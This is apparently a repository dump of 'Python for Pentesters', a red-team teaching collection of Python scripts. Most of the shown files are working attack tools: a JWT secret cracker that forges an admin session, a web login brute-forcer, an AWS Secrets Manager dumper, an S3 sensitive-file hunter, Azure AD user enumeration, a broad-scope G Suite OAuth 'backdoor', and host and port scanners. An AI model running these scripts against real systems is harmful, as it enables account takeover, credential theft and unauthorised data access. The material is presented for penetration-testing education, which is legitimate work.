├── .gitignore ├── LICENSE ├── README.md ├── aws_services.txt ├── cloud_aws_s3.py ├── cloud_aws_secrets.py ├── cloud_azure_ad.py ├── cloud_gsuite_backdoor.py ├── cloud_gsuite_email.py ├── crack_jwt.py ├── live_host_discovery.py ├── live_port_discovery.py ├── passwords_attack.py ├── pivot_psremoting.py ├── pivot_winrm.py ├── pivot_wmi.py ├── powerstrip.py ├── pyinjector.py ├── pymeta.py ├── requirements.txt ├── shodan_search.py ├── socket_c2_client.py ├── socket_c2_server.py ├── web_brute.py ├── web_robots.py ├── web_sniff.py └── web_spa.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | cover/ 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | local_settings.py 62 | db.sqlite3 63 | db.sqlite3-journal 64 | 65 | # Flask stuff: 66 | instance/ 67 | .webassets-cache 68 | 69 | # Scrapy stuff: 70 | .scrapy 71 | 72 | # Sphinx documentation 73 | docs/_build/ 74 | 75 | # PyBuilder 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 98 | __pypackages__/ 99 | 100 | # Celery stuff 101 | celerybeat-schedule 102 | celerybeat.pid 103 | 104 | # SageMath parsed files 105 | *.sage.py 106 | 107 | # Environments 108 | .env 109 | .venv 110 | env/ 111 | venv/ 112 | ENV/ 113 | env.bak/ 114 | venv.bak/ 115 | Scripts/ 116 | tcl/ 117 | Include/ 118 | share/ 119 | 120 | # Spyder project settings 121 | .spyderproject 122 | .spyproject 123 | 124 | # Rope project settings 125 | .ropeproject 126 | 127 | # mkdocs documentation 128 | /site 129 | 130 | # mypy 131 | .mypy_cache/ 132 | .dmypy.json 133 | dmypy.json 134 | 135 | # Pyre type checker 136 | .pyre/ 137 | 138 | # pytype static type analyzer 139 | .pytype/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 ustayready 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Python for Pentesters 2 | ================== 3 | 4 | ## Overview ## 5 | Getting started with Python for pentesting and red team engagements is fairly easy! This repo is just a small collection of random scripts to help get you started. 6 | 7 | **Brought to you by:** 8 | 9 | ![Black Hills Information Security](https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L-300x300.png "Black Hills Information Security") 10 | 11 | ## Examples: by Mike Felch (@ustayready) and Joff Thyer (@joff_thyer) ## 12 | This code is provided purely for educational purposes. 13 | 14 | * pivot_winrm.py: shows how to use Python with winrm to execute commands on a remote machine 15 | * cloud_aws_s3.py: search AWS S3 buckets for sensitive filenames 16 | * cloud_aws_secrets.py: Dump all the secrets in AWS Secrets Manager 17 | * cloud_azure_ad.py: Dumping AzureAD users 18 | * cloud_gsuite_backdoor.py: Backdooring G Suite accounts for full access 19 | * cloud_gsuite_email.py: Reading GMail emails 20 | * crack_jwt.py: Cracking JSON web tokens 21 | * live_host_discovery.py: Discovering live hosts on a network 22 | * live_port_discovery.py: Discovering open ports on a host 23 | * passwords_attack.py: Trying username/password combinations on a web authentication portal 24 | * pivot_psremoting.py: Pivoting in a Windows environment using PSRemoting 25 | * pivot_wmi.py: Pivoting in a Windows environment using WMI 26 | * shodan_search.py: Searching for internet connected devices on Shodan 27 | * socket_c2_client.py: C2 socket client 28 | * socket_c2_server.py: C2 socket server 29 | * web_brute.py: Brute forcing web paths for unknown attack surfaces 30 | * web_robots.py: Downloading the robots.txt for URLs 31 | * web_sniff.py: Sniffing HTTP packets 32 | * web_spa.py: Interacting with a single page app with a headless browser then copying session cookies to the requests library 33 | * pymeta.py: Read all files in a directory recursively and extracts metadata from any office documents, and PDFs discovered 34 | * powerstrip.py: Strips comments out of a PowerShell script, and writes a file with -stripped as part of the filename 35 | * pyinjector.py: Using ctypes to execute shellcode within the same process or inject into a remote process using thread manipulation 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /aws_services.txt: -------------------------------------------------------------------------------- 1 | AccessAnalyzer 2 | ACM 3 | ACMPCA 4 | AlexaForBusiness 5 | Amplify 6 | APIGateway 7 | ApiGatewayManagementApi 8 | ApiGatewayV2 9 | AppConfig 10 | ApplicationAutoScaling 11 | ApplicationInsights 12 | AppMesh 13 | AppStream 14 | AppSync 15 | Athena 16 | AutoScaling 17 | AutoScalingPlans 18 | Backup 19 | Batch 20 | Budgets 21 | CostExplorer 22 | Chime 23 | Cloud9 24 | CloudDirectory 25 | CloudFormation 26 | CloudFront 27 | CloudHSM 28 | CloudHSMV2 29 | CloudSearch 30 | CloudSearchDomain 31 | CloudTrail 32 | CloudWatch 33 | CodeBuild 34 | CodeCommit 35 | CodeDeploy 36 | CodeGuruReviewer 37 | CodeGuruProfiler 38 | CodePipeline 39 | CodeStar 40 | CodeStarconnections 41 | CodeStarNotifications 42 | CognitoIdentity 43 | CognitoIdentityProvider 44 | CognitoSync 45 | Comprehend 46 | ComprehendMedical 47 | ComputeOptimizer 48 | ConfigService 49 | Connect 50 | ConnectParticipant 51 | CostandUsageReportService 52 | DataExchange 53 | DataPipeline 54 | DataSync 55 | DAX 56 | Detective 57 | DeviceFarm 58 | DirectConnect 59 | ApplicationDiscoveryService 60 | DLM 61 | DatabaseMigrationService 62 | DocDB 63 | DirectoryService 64 | DynamoDB 65 | DynamoDBStreams 66 | EBS 67 | EC2 68 | EC2InstanceConnect 69 | ECR 70 | ECS 71 | EFS 72 | EKS 73 | ElasticInference 74 | ElastiCache 75 | ElasticBeanstalk 76 | ElasticTranscoder 77 | ElasticLoadBalancing 78 | ElasticLoadBalancingv2 79 | EMR 80 | ElasticsearchService 81 | EventBridge 82 | Firehose 83 | FMS 84 | ForecastService 85 | ForecastQueryService 86 | FraudDetector 87 | FSx 88 | GameLift 89 | Glacier 90 | GlobalAccelerator 91 | Glue 92 | Greengrass 93 | GroundStation 94 | GuardDuty 95 | Health 96 | IAM 97 | imagebuilder 98 | ImportExport 99 | Inspector 100 | IoT 101 | IoTDataPlane 102 | IoTJobsDataPlane 103 | IoT1ClickDevicesService 104 | IoT1ClickProjects 105 | IoTAnalytics 106 | IoTEvents 107 | IoTEventsData 108 | IoTSecureTunneling 109 | IoTThingsGraph 110 | Kafka 111 | kendra 112 | Kinesis 113 | KinesisVideoArchivedMedia 114 | KinesisVideoMedia 115 | KinesisVideoSignalingChannels 116 | KinesisAnalytics 117 | KinesisAnalyticsV2 118 | KinesisVideo 119 | KMS 120 | LakeFormation 121 | Lambda 122 | LexModelBuildingService 123 | LexRuntimeService 124 | LicenseManager 125 | Lightsail 126 | CloudWatchLogs 127 | MachineLearning 128 | Macie 129 | ManagedBlockchain 130 | MarketplaceCatalog 131 | MarketplaceEntitlementService 132 | MarketplaceCommerceAnalytics 133 | MediaConnect 134 | MediaConvert 135 | MediaLive 136 | MediaPackage 137 | MediaPackageVod 138 | MediaStore 139 | MediaStoreData 140 | MediaTailor 141 | MarketplaceMetering 142 | MigrationHub 143 | MigrationHubConfig 144 | Mobile 145 | MQ 146 | MTurk 147 | Neptune 148 | NetworkManager 149 | OpsWorks 150 | OpsWorksCM 151 | Organizations 152 | Outposts 153 | Personalize 154 | PersonalizeEvents 155 | PersonalizeRuntime 156 | PI 157 | Pinpoint 158 | PinpointEmail 159 | PinpointSMSVoice 160 | Polly 161 | Pricing 162 | QLDB 163 | QLDBSession 164 | QuickSight 165 | RAM 166 | RDS 167 | RDSDataService 168 | Redshift 169 | Rekognition 170 | ResourceGroups 171 | ResourceGroupsTaggingAPI 172 | RoboMaker 173 | Route53 174 | Route53Domains 175 | Route53Resolver 176 | S3 177 | S3Control 178 | SageMaker 179 | AugmentedAIRuntime 180 | SageMakerRuntime 181 | SavingsPlans 182 | Schemas 183 | SimpleDB 184 | SecretsManager 185 | SecurityHub 186 | ServerlessApplicationRepository 187 | ServiceQuotas 188 | ServiceCatalog 189 | ServiceDiscovery 190 | SES 191 | SESV2 192 | Shield 193 | signer 194 | SMS 195 | PinpointSMSVoice 196 | Snowball 197 | SNS 198 | SQS 199 | SSM 200 | SSO 201 | SSOOIDC 202 | SFN 203 | StorageGateway 204 | STS 205 | Support 206 | SWF 207 | Textract 208 | TranscribeService 209 | Transfer 210 | Translate 211 | WAF 212 | WAFRegional 213 | WAFV2 214 | WorkDocs 215 | WorkLink 216 | WorkMail 217 | WorkMailMessageFlow 218 | WorkSpaces 219 | XRay -------------------------------------------------------------------------------- /cloud_aws_s3.py: -------------------------------------------------------------------------------- 1 | from botocore.exceptions import ClientError 2 | import boto3 3 | import sys 4 | 5 | ''' 6 | Author: Mike Felch (c) 2020, @ustayready 7 | - 8 | Copyright 2020 Mike Felch 9 | 10 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 11 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 12 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 18 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 19 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 20 | ''' 21 | 22 | def main(access_key, secret_access_key, query): 23 | session = boto3.Session( 24 | aws_access_key_id=access_key, 25 | aws_secret_access_key=secret_access_key, 26 | ) 27 | 28 | s3 = session.resource('s3') 29 | for bucket in s3.buckets.all(): 30 | print('Enumerating bucket: {}'.format(bucket.name)) 31 | for key in bucket.objects.all(): 32 | if query in key.key: 33 | print('[-] Found gold: {}'.format(key.key)) 34 | 35 | if __name__ == '__main__': 36 | access_key = sys.argv[1] 37 | secret_access_key = sys.argv[2] 38 | query = sys.argv[3] 39 | 40 | main(access_key, secret_access_key, query) 41 | -------------------------------------------------------------------------------- /cloud_aws_secrets.py: -------------------------------------------------------------------------------- 1 | import boto3 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def leak_secrets(access_key, secret_access_key, region_name): 22 | session = boto3.Session( 23 | aws_access_key_id=access_key, 24 | aws_secret_access_key=secret_access_key, 25 | region_name=region_name, 26 | ) 27 | client = session.client(service_name='secretsmanager') 28 | 29 | response = client.list_secrets() 30 | for secret in response['SecretList']: 31 | secret_name = secret['Name'] 32 | secret_desc = secret['Description'] 33 | 34 | secret_val_resp = client.get_secret_value(SecretId=secret_name) 35 | 36 | print('{}: {}'.format(secret_name, secret_desc)) 37 | 38 | if 'SecretString' in secret_val_resp: 39 | secret_val = secret_val_resp['SecretString'] 40 | print(secret_val) 41 | else: 42 | print('Binary Data Found!') 43 | 44 | if __name__ == '__main__': 45 | access_key = sys.argv[1] 46 | secret_access_key = sys.argv[2] 47 | region_name = sys.argv[3] 48 | 49 | leak_secrets(access_key, secret_access_key, region_name) 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /cloud_azure_ad.py: -------------------------------------------------------------------------------- 1 | from msrestazure.azure_active_directory import AADTokenCredentials 2 | import adal 3 | import requests 4 | import sys 5 | 6 | ''' 7 | Author: Mike Felch (c) 2020, @ustayready 8 | - 9 | Copyright 2020 Mike Felch 10 | 11 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 12 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 13 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 19 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 20 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | ''' 22 | 23 | def main(domain, client_id, client_secret): 24 | url = 'https://login.microsoftonline.com/{}/oauth2/v2.0/token'.format(domain) 25 | data = { 26 | 'grant_type': 'client_credentials', 27 | 'client_id': client_id, 28 | 'scope': 'https://graph.microsoft.com/.default', 29 | 'client_secret': client_secret, 30 | } 31 | r = requests.post(url, data=data) 32 | token = r.json().get('access_token') 33 | 34 | url_users = 'https://graph.microsoft.com/v1.0/users' 35 | #url_groups = 'https://graph.microsoft.com/beta/groups' 36 | headers = { 37 | 'Content-Type' : 'application\\json', 38 | 'Authorization': 'Bearer {}'.format(token) 39 | } 40 | r = requests.get(url_users, headers=headers) 41 | result = r.json() 42 | print(result) 43 | 44 | if __name__ == '__main__': 45 | domain = sys.argv[1] 46 | client_id = sys.argv[2] 47 | client_secret = sys.argv[3] 48 | main(domain, client_id, client_secret) -------------------------------------------------------------------------------- /cloud_gsuite_backdoor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | from oauth2client import client, tools 4 | from oauth2client.file import Storage 5 | 6 | ''' 7 | Author: Mike Felch (c) 2020, @ustayready 8 | - 9 | Copyright 2020 Mike Felch 10 | 11 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 12 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 13 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 19 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 20 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | ''' 22 | 23 | SCOPES = 'https://www.googleapis.com/auth/calendar https://mail.google.com/ https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/groups https://www.googleapis.com/auth/admin.directory.user' 24 | 25 | def get_credentials(): 26 | credential_dir =os.getcwd() 27 | client_secret_path = os.path.join(credential_dir, 'client_secrets.json') 28 | saved_secret_path = os.path.join(credential_dir, 'saved_creds.json') 29 | 30 | store = Storage(saved_secret_path) 31 | credentials = store.get() 32 | if not credentials or credentials.invalid: 33 | flow = client.flow_from_clientsecrets(client_secret_path, SCOPES, redirect_uri='http://localhost') 34 | url = flow.step1_get_authorize_url() 35 | flags = tools.argparser.parse_args(args=[]) 36 | flags.noauth_local_webserver = True 37 | credentials = tools.run_flow(flow, store, flags=flags) 38 | return credentials 39 | 40 | if __name__ == "__main__": 41 | get_credentials() -------------------------------------------------------------------------------- /cloud_gsuite_email.py: -------------------------------------------------------------------------------- 1 | from googleapiclient.discovery import build 2 | from httplib2 import Http 3 | from oauth2client import file, client, tools 4 | 5 | ''' 6 | Author: Mike Felch (c) 2020, @ustayready 7 | - 8 | Copyright 2020 Mike Felch 9 | 10 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 11 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 12 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 18 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 19 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 20 | ''' 21 | 22 | SCOPES = 'https://www.googleapis.com/auth/gmail.readonly' 23 | 24 | def main(): 25 | store = file.Storage('token.json') 26 | creds = store.get() 27 | if not creds or creds.invalid: 28 | flow = client.flow_from_clientsecrets('credentials.json', SCOPES) 29 | creds = tools.run_flow(flow, store) 30 | service = build('gmail', 'v1', http=creds.authorize(Http())) 31 | 32 | results = service.users().messages().list(userId='me',labelIds = ['INBOX']).execute() 33 | messages = results.get('messages', []) 34 | 35 | for message in messages: 36 | msg = service.users().messages().get(userId='me', id=message['id']).execute() 37 | print(msg['snippet']) 38 | 39 | if __name__ == '__main__': 40 | main() 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /crack_jwt.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import jwt 3 | import requests 4 | import time 5 | 6 | ''' 7 | Author: Mike Felch (c) 2020, @ustayready 8 | - 9 | Copyright 2020 Mike Felch 10 | 11 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 12 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 13 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 19 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 20 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | ''' 22 | 23 | def main(url, password_file): 24 | response = requests.get(url, headers={'user-agent':'pentest'}) 25 | 26 | if 'session' in response.cookies: 27 | token = response.cookies['session'] 28 | print(f'Old Token: {token}\n') 29 | with open(password_file,'r') as file: 30 | passwords = [x.strip() for x in file.readlines()] 31 | for password in passwords: 32 | success = decode_jwt(token, password) 33 | if success: 34 | new_session = exploit(token, password) 35 | cook = { 'session': new_session } 36 | new_request = requests.get(url,cookies=cook, headers={'user-agent':'pentest'}) 37 | print(new_request.text) 38 | break 39 | 40 | def exploit(token, password): 41 | decoded = jwt.decode(token, password) 42 | decoded['user_id'] = 'admin' 43 | decoded['is_admin'] = 'true' 44 | encoded = jwt.encode(decoded,password).decode('utf-8') 45 | print(f'New Token: {encoded}\n') 46 | return encoded 47 | 48 | def decode_jwt(token, password): 49 | try: 50 | decoded = jwt.decode(token, password) 51 | print(f'Password found! {password}\n') 52 | return True 53 | except: 54 | return False 55 | 56 | if __name__ == '__main__': 57 | url = sys.argv[1] 58 | password_file = sys.argv[2] 59 | 60 | main(url, password_file) 61 | -------------------------------------------------------------------------------- /live_host_discovery.py: -------------------------------------------------------------------------------- 1 | from ping3 import ping 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def main(host): 22 | ttl = ping(host) 23 | if ttl: 24 | print(f'{host} is alive.') 25 | else: 26 | print(f'{host} is NOT alive.') 27 | 28 | if __name__ == '__main__': 29 | host = sys.argv[1] 30 | 31 | main(host) -------------------------------------------------------------------------------- /live_port_discovery.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def main(host,ports): 22 | scan_range = [] 23 | scan_results = [] 24 | 25 | if '-' in ports: 26 | start_port, stop_port = ports.split('-') 27 | for port in range(int(start_port), int(stop_port)+1): 28 | scan_range.append(port) 29 | elif ',' in ports: 30 | for port in ports.split(','): 31 | port = int(port.strip()) 32 | scan_range.append(port) 33 | else: 34 | scan_range.append(int(ports)) 35 | scan_range.append(int(ports)+1) 36 | 37 | scan_range = check_ports(host, scan_range) 38 | 39 | def check_ports(host, ports): 40 | port_results = [] 41 | for port in ports: 42 | try: 43 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 44 | result = sock.connect_ex((host, port)) 45 | if result == 0: 46 | print(f'{host} -> {port}: up') 47 | port_results.append((port, True)) 48 | sock.close() 49 | except Exception as ex: 50 | print(f'{host} -> {port}: down') 51 | port_results.append((port, False)) 52 | return port_results 53 | 54 | if __name__ == '__main__': 55 | host = sys.argv[1] 56 | port_range = sys.argv[2] 57 | main(host, port_range) -------------------------------------------------------------------------------- /passwords_attack.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | ''' 5 | Author: Mike Felch (c) 2020, @ustayready 6 | - 7 | Copyright 2020 Mike Felch 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), 10 | to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 17 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 18 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | ''' 20 | 21 | def main(url, user_file, password_file): 22 | users = [] 23 | passwords = [] 24 | 25 | with open(user_file, 'r') as u_file: 26 | users = [x.strip() for x in u_file.readlines()] 27 | 28 | with open(password_file, 'r') as p_file: 29 | passwords = [x.strip() for x in p_file.readlines()] 30 | 31 | for user in users: 32 | print(f'Trying username: {user}') 33 | for password in passwords: 34 | result = check_auth(url, user, password) 35 | if result: 36 | print(f'Success! {user} -> {password}') 37 | 38 | def check_auth(url, user, password): 39 | custom_headers = {'user-agent':'custom agent'} 40 | payload = {'username':user, 'password':password} 41 | response = requests.post(url, headers=custom_headers, data=payload) 42 | if response.status_code == 200: 43 | return True 44 | else: 45 | return False 46 | 47 | if __name__ == '__main__': 48 | url = sys.argv[1] 49 | user_file = sys.argv[2] 50 | password_file = sys.argv[3] 51 | main(url, user_file, password_file) 